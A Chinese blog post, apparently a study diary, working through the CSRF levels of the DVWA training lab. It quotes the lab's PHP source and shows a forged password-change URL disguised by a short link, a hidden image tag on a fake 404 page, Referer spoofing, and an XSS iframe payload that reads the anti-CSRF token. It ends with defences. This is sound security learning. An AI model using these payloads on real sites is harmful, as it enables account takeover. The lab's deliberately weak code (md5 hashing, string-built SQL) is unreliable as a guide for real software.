Web安全 学习日记8 - CSRF(跨站请求伪造)

文章详细介绍了CSRF(跨站请求伪造)攻击的概念、原理和不同安全等级下的实现方式,包括低级、中级和高级场景。同时,文章讨论了XSS的区别,并展示了如何利用CSRF漏洞修改用户密码。对于防御CSRF,文章提到了验证HTTPReferer字段和使用token的方法。最后,文章给出了基于token的身份验证流程。
摘要由CSDN通过智能技术生成

CSRF概念

CSRF(Cross-Site Request Forgery)攻击中,黑客盗用了用户的身份,以用户的名义发送恶意请求,对服务器来说这个请求是完全合法的,但是却完成了黑客所期望的一个操作,比如以用户的名义发送邮件、转账等。

CSRF原理和流程(注意区分XSS)

  • 用户浏览并登录受信网站A
  • 登录成功以后,受信网站A产生cookie并返回给浏览器
  • 用户在没有退出网站A的情况下访问恶意网站B
  • 恶意网站B要求访问受信网站A,发出一个请求
  • 浏览器会根据上述请求,带上用户的cookie访问受信网站A
  • 受信网站A会根据所带的cookie,以为是用户访问,故通过用户的请求,造成CSRF

在这里插入图片描述

DVWA CSRF

Low

1、查看源码

查看前端源码:发现是GET请求,有password_new和password_conf两个参数

<form action="#" method="GET">
			New password:<br />
			<input type="password" AUTOCOMPLETE="off" name="password_new"><br />
			Confirm new password:<br />
			<input type="password" AUTOCOMPLETE="off" name="password_conf"><br />
			<br />
			<input type="submit" value="Change" name="Change">

		</form>

查看后端源码:接收并验证两个密码是否一致,若一致则更新密码。使用了mysql_real_escape_string转义特殊字符,可以防止一定程度的SQL注入,但也可以绕过。最重要的是没有对CSRF做任何防护,即没有验证token,也没有验证HTTP Referer字段。

<?php

if( isset( $_GET[ 'Change' ] ) ) {
    // Get input
    $pass_new  = $_GET[ 'password_new' ];
    $pass_conf = $_GET[ 'password_conf' ];

    // Do the passwords match?
    if( $pass_new == $pass_conf ) {
        // They do!
        $pass_new = ((isset($GLOBALS["___mysqli_ston"]) && is_object($GLOBALS["___mysqli_ston"])) ? mysqli_real_escape_string($GLOBALS["___mysqli_ston"],  $pass_new ) : ((trigger_error("[MySQLConverterToo] Fix the mysql_escape_string() call! This code does not work.", E_USER_ERROR)) ? "" : ""));
        $pass_new = md5( $pass_new );

        // Update the database
        $insert = "UPDATE `users` SET password = '$pass_new' WHERE user = '" . dvwaCurrentUser() . "';";
        $result = mysqli_query($GLOBALS["___mysqli_ston"],  $insert ) or die( '<pre>' . ((is_object($GLOBALS["___mysqli_ston"])) ? mysqli_error($GLOBALS["___mysqli_ston"]) : (($___mysqli_res = mysqli_connect_error()) ? $___mysqli_res : false)) . '</pre>' );

        // Feedback for the user
        echo "<pre>Password Changed.</pre>";
    }
    else {
        // Issue with passwords matching
        echo "<pre>Passwords did not match.</pre>";
    }

    ((is_null($___mysqli_res = mysqli_close($GLOBALS["___mysqli_ston"]))) ? false : $___mysqli_res);
}

?> 

2、利用

方式1:让用户(admin)在没有登出的情况下,点击此URL,即可将密码修改成黑客想要的密码(ch4ser)

在这里插入图片描述

http://localhost/DVWA/vulnerabilities/csrf/?password_new=ch4ser&password_conf=ch4ser&Change=Change#

当然,用户通常不会点击一个很长的、看起来就不正常的链接,于是可以通过在线工具,将此链接生成为一个短链接
在这里插入图片描述

这里生成的短链接如下

https://s.r.sn.cn/iDMxfN

方式2:构造一个页面(csrf.html),将修改密码的链接重定向到一个自己写的一个错误页面,用户点击之后以为出错了,实际已经执行了恶意代码。

<img src="http://localhost/DVWA/vulnerabilities/csrf/?password_new=ch4ser&password_conf=ch4ser&Change=Change#" border="0" style="display:none;"/>
<h1>404</h1>
<h2>file not found.</h2>

在这里插入图片描述

Medium

1、查看源码

前端源码和Low级别一致

查看后端源码:使用了stripos()函数来验证 S E R V E R [ ′ S E R V E R N A M E ′ ] 是否出现在 _SERVER[ 'SERVER_NAME' ]是否出现在 SERVER[SERVERNAME]是否出现在_SERVER[ ‘HTTP_REFERER’ ]里面,即判断请求的来源是否为本站发出的,若是才进行密码修改的操作。

<?php

if( isset( $_GET[ 'Change' ] ) ) {
    // Checks to see where the request came from
    if( stripos( $_SERVER[ 'HTTP_REFERER' ] ,$_SERVER[ 'SERVER_NAME' ]) !== false ) {
        // Get input
        $pass_new  = $_GET[ 'password_new' ];
        $pass_conf = $_GET[ 'password_conf' ];

        // Do the passwords match?
        if( $pass_new == $pass_conf ) {
            // They do!
            $pass_new = ((isset($GLOBALS["___mysqli_ston"]) && is_object($GLOBALS["___mysqli_ston"])) ? mysqli_real_escape_string($GLOBALS["___mysqli_ston"],  $pass_new ) : ((trigger_error("[MySQLConverterToo] Fix the mysql_escape_string() call! This code does not work.", E_USER_ERROR)) ? "" : ""));
            $pass_new = md5( $pass_new );

            // Update the database
            $insert = "UPDATE `users` SET password = '$pass_new' WHERE user = '" . dvwaCurrentUser() . "';";
            $result = mysqli_query($GLOBALS["___mysqli_ston"],  $insert ) or die( '<pre>' . ((is_object($GLOBALS["___mysqli_ston"])) ? mysqli_error($GLOBALS["___mysqli_ston"]) : (($___mysqli_res = mysqli_connect_error()) ? $___mysqli_res : false)) . '</pre>' );

            // Feedback for the user
            echo "<pre>Password Changed.</pre>";
        }
        else {
            // Issue with passwords matching
            echo "<pre>Passwords did not match.</pre>";
        }
    }
    else {
        // Didn't come from a trusted source
        echo "<pre>That request didn't look correct.</pre>";
    }

    ((is_null($___mysqli_res = mysqli_close($GLOBALS["___mysqli_ston"]))) ? false : $___mysqli_res);
}

?> 

2、利用
尝试直接在url栏输入

http://localhost/DVWA/vulnerabilities/csrf/?password_new=ch4ser&password_conf=ch4ser&Change=Change#

发现密码并未被修改,页面回显:That request didn’t look correct.
这是由于后端代码对HTTP Referer字段进行了判断,我们使用burpsuite进行抓包分析

正常的修改密码请求包内容如下:可见HOST是在Referer里面的,也就是请求是来自本站的
在这里插入图片描述

CSRF修改密码请求包内容如下:发现只有HOST字段,没有Referer字段,所以会造成密码修改不成功
在这里插入图片描述

绕过方法:对CSRF修改密码请求包添加一个Referer字段,然后发送该数据包,密码一样被修改

Referer: http://192.168.124.91/DVWA/vulnerabilities/csrf/

High

1、查看源码

查看前端源码:这次有了token值

<form action="#" method="GET">
			New password:<br />
			<input type="password" AUTOCOMPLETE="off" name="password_new"><br />
			Confirm new password:<br />
			<input type="password" AUTOCOMPLETE="off" name="password_conf"><br />
			<br />
			<input type="submit" value="Change" name="Change">
			<input type='hidden' name='user_token' value='7307aeeda83356f27b6ec67bd82e1e55' />
		</form>

查看后端源码:使用了checkToken()函数验证客户端携带的token,验证成功才返回客户端请求的数据,可见防护措施做的很严密。

<?php

$change = false;
$request_type = "html";
$return_message = "Request Failed";

if ($_SERVER['REQUEST_METHOD'] == "POST" && array_key_exists ("CONTENT_TYPE", $_SERVER) && $_SERVER['CONTENT_TYPE'] == "application/json") {
    $data = json_decode(file_get_contents('php://input'), true);
    $request_type = "json";
    if (array_key_exists("HTTP_USER_TOKEN", $_SERVER) &&
        array_key_exists("password_new", $data) &&
        array_key_exists("password_conf", $data) &&
        array_key_exists("Change", $data)) {
        $token = $_SERVER['HTTP_USER_TOKEN'];
        $pass_new = $data["password_new"];
        $pass_conf = $data["password_conf"];
        $change = true;
    }
} else {
    if (array_key_exists("user_token", $_REQUEST) &&
        array_key_exists("password_new", $_REQUEST) &&
        array_key_exists("password_conf", $_REQUEST) &&
        array_key_exists("Change", $_REQUEST)) {
        $token = $_REQUEST["user_token"];
        $pass_new = $_REQUEST["password_new"];
        $pass_conf = $_REQUEST["password_conf"];
        $change = true;
    }
}

if ($change) {
    // Check Anti-CSRF token
    checkToken( $token, $_SESSION[ 'session_token' ], 'index.php' );

    // Do the passwords match?
    if( $pass_new == $pass_conf ) {
        // They do!
        $pass_new = mysqli_real_escape_string ($GLOBALS["___mysqli_ston"], $pass_new);
        $pass_new = md5( $pass_new );

        // Update the database
        $insert = "UPDATE `users` SET password = '" . $pass_new . "' WHERE user = '" . dvwaCurrentUser() . "';";
        $result = mysqli_query($GLOBALS["___mysqli_ston"],  $insert );

        // Feedback for the user
        $return_message = "Password Changed.";
    }
    else {
        // Issue with passwords matching
        $return_message = "Passwords did not match.";
    }

    mysqli_close($GLOBALS["___mysqli_ston"]);

    if ($request_type == "json") {
        generateSessionToken();
        header ("Content-Type: application/json");
        print json_encode (array("Message" =>$return_message));
        exit;
    } else {
        echo "<pre>" . $return_message . "</pre>";
    }
}

// Generate Anti-CSRF token
generateSessionToken();

?> 

2、利用
首先我们尝试了直接输入url和加上Referer,都不奏效。
于是用burpsuite进行抓包分析,发现其加上了token,不奏效的原因是token验证未通过。
在这里插入图片描述
搞清楚原因之后,我们就要想着如何获取token的值。
思路1:构造一个恶意页面,诱导用户访问,从而获取token值。(该方法行不通,因为浏览器不允许跨域访问)
思路2:利用XSS(以Reflected为例)漏洞(High级别),构造payload如下,然后弹出token值。

<iframe src="../csrf" onload=alert(frames[0].document.getElementsByName('user_token')[0].value)>

在这里插入图片描述

得到token值后,使用burpsuite抓包,将token加入到包中,同样成功修改密码。

192.168.124.91/DVWA/vulnerabilities/csrf/?password_new=123456&password_conf=123456&Change=Change&user_token=d40b036b5abecc141b3f22b412bb829e#

Impossible

分析

查看前端源码:不仅有token值,还要求输入原密码

<form action="#" method="GET">
			Current password:<br />
			<input type="password" AUTOCOMPLETE="off" name="password_current"><br />
			New password:<br />
			<input type="password" AUTOCOMPLETE="off" name="password_new"><br />
			Confirm new password:<br />
			<input type="password" AUTOCOMPLETE="off" name="password_conf"><br />
			<br />
			<input type="submit" value="Change" name="Change">
			<input type='hidden' name='user_token' value='8eef63fcf14e5f209b9aec9ba9f01b6e' />
		</form>

查看后端源码:同样验证了token值,不仅如此还要求用户输入原密码才能修改,防止了CSRF。使用了PDO预编译SQL语句,防止了SQL注入。

<?php

if( isset( $_GET[ 'Change' ] ) ) {
    // Check Anti-CSRF token
    checkToken( $_REQUEST[ 'user_token' ], $_SESSION[ 'session_token' ], 'index.php' );

    // Get input
    $pass_curr = $_GET[ 'password_current' ];
    $pass_new  = $_GET[ 'password_new' ];
    $pass_conf = $_GET[ 'password_conf' ];

    // Sanitise current password input
    $pass_curr = stripslashes( $pass_curr );
    $pass_curr = ((isset($GLOBALS["___mysqli_ston"]) && is_object($GLOBALS["___mysqli_ston"])) ? mysqli_real_escape_string($GLOBALS["___mysqli_ston"],  $pass_curr ) : ((trigger_error("[MySQLConverterToo] Fix the mysql_escape_string() call! This code does not work.", E_USER_ERROR)) ? "" : ""));
    $pass_curr = md5( $pass_curr );

    // Check that the current password is correct
    $data = $db->prepare( 'SELECT password FROM users WHERE user = (:user) AND password = (:password) LIMIT 1;' );
    $data->bindParam( ':user', dvwaCurrentUser(), PDO::PARAM_STR );
    $data->bindParam( ':password', $pass_curr, PDO::PARAM_STR );
    $data->execute();

    // Do both new passwords match and does the current password match the user?
    if( ( $pass_new == $pass_conf ) && ( $data->rowCount() == 1 ) ) {
        // It does!
        $pass_new = stripslashes( $pass_new );
        $pass_new = ((isset($GLOBALS["___mysqli_ston"]) && is_object($GLOBALS["___mysqli_ston"])) ? mysqli_real_escape_string($GLOBALS["___mysqli_ston"],  $pass_new ) : ((trigger_error("[MySQLConverterToo] Fix the mysql_escape_string() call! This code does not work.", E_USER_ERROR)) ? "" : ""));
        $pass_new = md5( $pass_new );

        // Update database with new password
        $data = $db->prepare( 'UPDATE users SET password = (:password) WHERE user = (:user);' );
        $data->bindParam( ':password', $pass_new, PDO::PARAM_STR );
        $data->bindParam( ':user', dvwaCurrentUser(), PDO::PARAM_STR );
        $data->execute();

        // Feedback for the user
        echo "<pre>Password Changed.</pre>";
    }
    else {
        // Issue with passwords matching
        echo "<pre>Passwords did not match or current password incorrect.</pre>";
    }
}

// Generate Anti-CSRF token
generateSessionToken();

?> 

CSRF防御

1、验证HTTP Referer字段
2、添加token并验证

基于token的身份验证方法

1.客户端使用用户名跟密码请求登录;
2.服务端收到请求,去验证用户名与密码;
3.验证成功后,服务端会签发一个 Token,再把这个 Token 发送给客户端;
4.客户端收到 Token以后可以把它存储起来,比如放在 Cookie 里或者 Local Storage 里;
5.客户端每次向服务端请求资源的时候需要带着服务端签发的;
6. 服务端收到请求,然后去验证客户端请求里面带着的 Token,如果验证成功,就向客户端返回请求的数据。

评论
添加红包

请填写红包祝福语或标题

红包个数最小为10个

红包金额最低5元

当前余额3.43前往充值 >
需支付:10.00
成就一亿技术人!
领取后你会自动成为博主和红包主的粉丝 规则
hope_wisdom
发出的红包
实付
使用余额支付
点击重新获取
扫码支付
钱包余额 0

抵扣说明:

1.余额是钱包充值的虚拟货币,按照1:1的比例进行支付金额的抵扣。
2.余额无法直接购买下载,可以购买VIP、付费专栏及课程。

余额充值